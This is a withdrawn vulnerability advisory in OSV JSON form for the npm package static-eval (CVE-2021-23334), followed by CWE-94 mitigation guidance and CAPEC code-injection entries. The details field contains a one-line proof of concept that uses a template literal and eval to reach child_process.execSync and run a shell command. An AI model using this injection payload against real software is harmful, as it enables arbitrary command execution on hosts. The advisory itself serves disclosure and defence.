This was deemed not a vulnerability. See this issue for details.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "static-eval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23334"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-18T23:01:14Z",
"nvd_published_at": "2021-02-11T12:15:00Z",
"severity": "CRITICAL"
},
"details": "All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require(\u0027static-eval\u0027); var parse = require(\u0027esprima\u0027).parse; var src=\"(function (x) { return ${eval(\"console.log(global.process.mainModule.constructor._load(\u0027child_process\u0027).execSync(\u0027ls\u0027).toString())\")} })()\" var ast = parse(src).body[0].expression; evaluate(ast)\n\n# WITHDRAWN\n\nThis was deemed not a vulnerability. See [this issue](https://github.com/browserify/static-eval/issues/34) for details.",
"id": "GHSA-8v27-2fg9-7h62",
"modified": "2021-05-06T16:12:57Z",
"published": "2021-05-06T16:11:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23334"
},
{
"type": "WEB",
"url": "https://github.com/browserify/static-eval/blob/master/index.js%23L180"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1071860"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-STATICEVAL-1056765"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Withdrawn: Arbitrary Code Execution in static-eval",
"withdrawn": "2021-05-04T20:26:20Z"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.